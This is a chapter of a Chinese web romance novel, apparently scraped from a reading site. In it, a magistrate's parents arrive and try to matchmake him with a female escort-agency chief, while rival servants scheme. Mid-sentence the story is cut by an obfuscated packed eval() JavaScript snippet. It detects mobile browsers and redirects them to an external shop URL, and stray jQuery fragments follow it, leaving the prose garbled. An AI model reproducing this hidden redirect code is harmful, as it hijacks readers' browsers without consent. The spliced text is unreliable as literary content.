文趣网 > 其他小说 > 大当家别抛弃我们世子啊 > 61. 世子要被偷家了
    “是了是了,没错的,教了你多少遍了你也不记得。”戴着布巾、儒士模样的男人摇了摇头。

    排到这俩马车时,官兵略略问了几句,惊奇地发现这个男人居然姓徐:“额……老爷,还想请问你们进城来是做什么啊?”

    “我们夫妻来寻儿子过年的,我知道他怕麻烦上官,便自己来了。”男人道。

    “敢问令郎是?”

    “就是徐斐然啊,你们县令是吧?”

    官兵瞪大眼睛看向自己的上官。

    他们立马分出人来护送这辆马车去县衙。

    影十一事先并未收到消息,一下子被二老打了个措手不及,只能先把人接进内衙招待着。

    徐斐然这边在严肃升堂,审到一半拍惊堂木斥“肃静”时,无意中看见堂外两个熟悉的身影。

    儿——砸——妇人踮起脚尖招手,没喊出声,但咧着嘴可高兴了。

    退堂。

    “石一你怎么回事?我父母来了你为何不将二老接进内衙呢?”徐斐然扶着额头。

    影十一低着头,弱弱道:“县令息怒,小人接了……结果去端些茶水点心的功夫回来,伙计便说老爷夫人看您升堂去了。”

    “儿啊,你也别怪这小兄弟,”许夫人忙开口打圆场,“是为娘说想去看,才拉你爹陪着!”

    “嗯,没想到斐然你如今也是像模像样的一方父母官了,为父甚是欣慰啊!”徐老爷哈哈大笑,无比得意。

    寒暄几句,许夫人左看右看,拉了拉孩儿他爹的衣袖。

    “啊、咳,”徐老爷想起正经事了,“你在信里说的那位雨师大当家,如此深明大义、侠肝义胆的奇女子,她如今在何处啊?”

    徐斐然一顿,不对……“爹,你和娘来齐鹤、不会就是为了她吧?”

    “那可不嘛!”许夫人藏不住事,瞬间喜笑颜开道,“这般好的姑娘呀,你可不能耽误了人家的大好年华,还是要早早地下聘定亲才是!”

    在外间倒茶的影十一:?!

    “斐然啊,你已而立之年,过了年便就年过而立——三十好几的人了,可耽搁不得!”

    “爹娘这一趟来可是带齐了东西,儿啊你且放心吧!”许夫人越说越起劲、滔滔不绝,到后面已经开始梦想儿孙满堂的美好晚年生活。

    影十一牙都要咬碎了,可恶啊,二老这是欺负王爷王妃不能随意离京,竟然捷足先登!

    怎么办怎么办,自家世子要被偷家了怎么办……

    这时,徐斐然忽然犹犹豫豫打断了母亲的梦想:“娘,你也知道这是一位奇女子——”

    “她是齐鹤本地的女户,早年间放过话,只招赘婿。”左邻右舍都知道,倒也不是徐斐然一直记着。

    许夫人的白日梦戛然而止,徐老爷一时也沉默了。

    “嗯……”父亲想了又想,“这边风俗如何?赘婿名声可会比京城更好些?”

    影十一:?!!

    什么!这么轻易就接受了独子做赘婿的未来吗!这样我家世子怎么比得过!

    “爹、娘,你们现下想这些也没用。上面有‘监临官不得娶监临女’的规矩压着,就算真的结亲,也得等儿子调离齐鹤。”徐斐然岔开话题,耳根有些热。

    许夫人闻言连连点头:“哦对对对,我们不能太心急——话说那家姑娘几岁了?你在信里没提到,也不知道是不是你爹漏念了!”

    “我何曾漏念过?”徐老爷吹了吹胡子,“明明是你这妇人斗大的字不识一个,次次都是老夫字字句句、无比详尽念给你听!”

    许夫人摆摆手:“我懒得同你比划,我问我儿那家姑娘几岁了呢!”

    “啊呀二位、别吵了……”徐斐然眼见自己的父母毫无征兆又打情骂俏起来了,真的很崩溃。

    许夫人认真了解,已知那姑娘名唤“雨师言”,年二十有六,镖局就在昌世街云云。

    “那这姑娘年纪也不小了,”当娘的认真参谋,“她可知晓你的心意啊?”

    可知晓他的心意……徐斐然抿了抿唇,只记得她那日曾说“过了今日,你我二人便是生死之交了。”

    生死之交、算知晓心意了吗?

    “犹豫,”军师母亲摇头,“那就是不知晓,我这傻儿啊……”

    父亲表示这糟糕透了:“唉,你这孩子没有为父当年一点风采,想当年——”

    徐斐然闭上眼睛,从小到大听了无数遍父亲吹牛自己是如何三登岳父门的典故,耳朵都要磨出茧子了。

    “那茶怎么还没来?”说半天,徐老爷都讲得有点口干了。

    总算是不讲典故了,徐斐然起身朝外间喊道:“石一,茶呢?”

    影十一连忙端着茶盏进去,不敢再偷听了。

    夜晚,群星闪烁,影七、影十五收到重大情报之——

    【世子要被偷家了】

    “糟了,”影七一拍大腿,“徐老爷和许夫人居然……”

    影十五冷静抬手打断:“别慌,有‘监临官不得娶监临女’这条规矩在,世子还有时间。”

    “现在唯一要防的,就是防止大当家信了那徐斐然什么‘等我调离齐鹤便娶你’的鬼话,毕竟自古负心多是读书人!”

    “十五你说得对啊!”这边世子的军师影七已经在想该怎么发力了。

    而后喜提二更还在浪费灯油,扣二十。

    次日,正是徐县令休沐之日。

    影七一边扫地一边紧盯大堂动向,如果今天徐县令带着徐老爷许夫人登门拜访,那就……

    “大当家的,徐县令另一个长随方才过来传口信,说徐县令今日不过来了!”

    小李掌柜带来对手不按套路出牌的消息,命苦的长工凌七原地裂开。

    “不过来了?”雨师言也有些意外,茶都煮好了结果人没来,“他干啥去了,长随有说吗?”

    “哦,说是他爹娘过来了。”李二娃挠挠头,“我寻思他可能带着二老四处逛逛吧?”

    “哟,啥时候到的?咱们什么时候也要登门拜访一下才是。”雨师言顺口道。

    毕竟将近年关,老两口过来和孩子一起过年也不是什么稀奇事。

    影七脑子都快转冒烟儿了。

    不会吧,难道大当家真看上了徐斐然?还想见见人家父母?不会直接去聊定亲的事吧?

    全然忘了律法里说监临官不得娶监临女的事,只顾着忧心自家世子的以后了。

    雨师言盘算了一会儿,又招来雨师榴。

    雨师榴一听要去珍馐楼听说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842388|209867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    书,可兴奋了,蹦蹦跳跳便就取钱袋子去。

    轮椅轻轻移出镖局,仲冬那不多不少的寒意都让暖阳清理得一干二净。

    “阿姐,今儿个珍馐楼讲的应该是哪一出啊?咱在不在那儿用午膳?”雨师榴推着轮椅连珠似炮地发问。

    站在扶手上的游隼啄了啄翅膀又松松羽毛,脑袋左右转,像是在超绝不经意地找着什么。

    “看情况吧,吃不吃饭的……到时候再说。”雨师言含糊其辞,指尖在木纹上轻轻敲击。

    珍馐楼今日讲的是《桂竹吃人》,那说书先生在台上说的神乎其神。

    只道那山上有一丛桂竹,后来长得漫山遍野都是,山下的人进去就回不来了。

    村民都以为山上是有什么豺狼虎豹,只有一个女道士一眼便看出不对劲。

    雨师榴听得津津有味,那先生绘声绘色描述女道士降妖的英姿之时她更是拍手叫好。

    雨师言却是心不在焉,只略略听了个大概,时不时回头看看。

    差不多正午,雨师榴肚子咕咕叫:“阿姐,咱们下馆子吗?”

    “你饿了?”雨师言瞥了一眼台上说书先生,人家已经切到下一回《鹫妖书生》了,“先叫个绿豆糕垫一垫吧,我还不饿。”

    “啊、好吧。”雨师榴撇撇嘴,阿姐现在吃得越来越少了。

    一刻之后,珍馐楼外响起一阵马车声。

    “娘,您小心些……”

    “诶诶,好嘞。你不用这么紧张为娘,还没老道那个时候呢!”

    这个声音……雨师言指尖一顿,嘴角微微勾起,瞧了一眼游隼。

    游隼脑袋歪歪左边又歪歪右边,伸开一边翅膀自己挠挠痒。

    徐斐然愣了愣,那只游隼是……居然能在这里碰到她。

    她发髻间还是戴着很平常的那几朵花,侧脸的线条却在一片喧闹中微微泛光。

    握剑的手端起茶盏轻轻撇去浮沫,在大堂人堆里恬静平淡,独树一帜。

    “三位客官有预定包厢吗?想去哪里用膳呀?”店里伙计上前去招待。

    许夫人刚想说随便找个位置就行,转头一看自家儿子不说话,便顺着他的目光看过去。

    没人应,差点给伙计整紧张了,也看过去才找到病根:“三位客官可是怕那只鸟啊?诸位放心!那是咱们这一块儿海晏镖局养的游隼,很温驯的!我们楼上有包房,您要是嫌大堂吵……”

    “欸欸欸,”许夫人忙指了指那只游隼的位置问,“小二,那个就是雨师大当家呀?”

    “啊对!一看您就是打外头来我们这儿玩儿是不?她呀,就爱坐大堂听说书,您要听么?我们这儿的志怪话本可好听了……?”

    伙计一顿,这位夫人怎么鬼鬼祟祟的跑了?要跑到哪里去啊!

    雨师言端着茶杯目不斜视,但耳朵没闲着,这个靠近的脚步声应该不是徐斐然。

    “姑娘,你这是在听什么故事啊?”许夫人微微弯腰,咧着嘴问道。

    雨师言转头,先是迟疑地打量了一下她,才答道:“他们现在讲的是《志怪集·鹫妖书生》,嫂子您是?”

    “娘,你怎么……”徐斐然忙上前将自家娘亲拉回来,略带歉意道,“珞舟,打扰你了,家母生性爱热闹。”